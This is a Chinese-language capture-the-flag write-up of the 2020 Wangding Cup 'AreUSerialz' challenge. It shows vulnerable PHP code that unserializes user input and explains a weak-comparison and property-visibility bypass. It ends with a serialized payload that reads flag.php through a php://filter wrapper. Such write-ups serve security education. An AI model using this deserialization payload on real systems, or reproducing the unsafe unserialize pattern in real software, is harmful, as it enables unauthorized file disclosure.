1. 程式人生 > 其它 >[網鼎杯 2020 青龍組]AreUSerialz 1

[網鼎杯 2020 青龍組]AreUSerialz 1

題目原始碼

 1 <?php
 2 
 3 include("flag.php");
 4 
 5 highlight_file(__FILE__);
 6 
 7 class FileHandler {
 8 
 9     protected $op;
10     protected $filename;
11     protected $content;
12 
13     function __construct() {
14         $op = "1";
15         $filename = "/tmp/tmpfile";
16         $content
= "Hello World!"; 17 $this->process(); 18 } 19 20 public function process() { 21 if($this->op == "1") { 22 $this->write(); 23 } else if($this->op == "2") { 24 $res = $this->read(); 25 $this->output($res); 26 } else
{ 27 $this->output("Bad Hacker!"); 28 } 29 } 30 31 private function write() { 32 if(isset($this->filename) && isset($this->content)) { 33 if(strlen((string)$this->content) > 100) { 34 $this->output("Too long!");
35 die(); 36 } 37 $res = file_put_contents($this->filename, $this->content); 38 if($res) $this->output("Successful!"); 39 else $this->output("Failed!"); 40 } else { 41 $this->output("Failed!"); 42 } 43 } 44 45 private function read() { 46 $res = ""; 47 if(isset($this->filename)) { 48 $res = file_get_contents($this->filename); 49 } 50 return $res; 51 } 52 53 private function output($s) { 54 echo "[Result]: <br>"; 55 echo $s; 56 } 57 58 function __destruct() { 59 if($this->op === "2") 60 $this->op = "1"; 61 $this->content = ""; 62 $this->process(); 63 } 64 65 } 66 67 function is_valid($s) { 68 for($i = 0; $i < strlen($s); $i++) 69 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 70 return false; 71 return true; 72 } 73 74 if(isset($_GET{'str'})) { 75 76 $str = (string)$_GET['str']; 77 if(is_valid($str)) { 78 $obj = unserialize($str); 79 } 80 81 }

審計原始碼發現,我們可以傳遞一個str引數,如果能通過is_valid(),則將其反序列化

我們再來看看這個函式,如果引數中的每一個字元的ASCIi碼值都在32~125的範圍內,則return true

其實到這裡解題思路已經明確了:

我們要構造一個payload去使得執行read()方法,來使flag.php的內容顯現出來

在反序列化的過程中會呼叫__destruct()方法

1 function __destruct() {
2     if($this->op === "2")
3         $this->op = "1";
4     $this->content = "";
5     $this->process();
6 }

如果op === "2",則會將其賦值為",此處為強型別比較

同時content為空,再呼叫process()方法,檢視該方法可知,如果op == "1",則會進入write()方法,顯然不是我們預期的結果,op == “2”,就會進入read()方法,正是我們的目的,值得注意的是,在這個方法中的比較是弱型別比較,也就是說如果將op賦值為int型別的2,則op === "2"為false,op == "2"為true,正好達到了我們的目的,進入了read()方法

1private function read() {
2    $res = "";
3    if(isset($this->filename)) {
4        $res = file_get_contents($this->filename);
5    }
6    return $res;
7}

filename是我們可以控制的,接著使用file_get_contents函式讀取檔案,我們此處藉助php://filter偽協議讀取檔案,獲取到檔案後使用output函式輸出

private function output($s) {
     echo "[Result]: <br>";
     echo $s;
}

整個利用思路就很明顯了,還有一個需要注意的地方是,$op,$filename,$content三個變數許可權都是protected,而protected許可權的變數在序列化的時會有%00*%00字元,%00字元的ASCII碼為0,就無法通過上面的is_valid函式校驗

有一種簡單粗暴的方法,php7.1+版本對屬性型別不敏感,本地序列化的時候將屬性改為public進行繞過即可

public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

進行反序列化得到

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

將其賦值給str即可得到flag.php的內容,解碼即可得到flag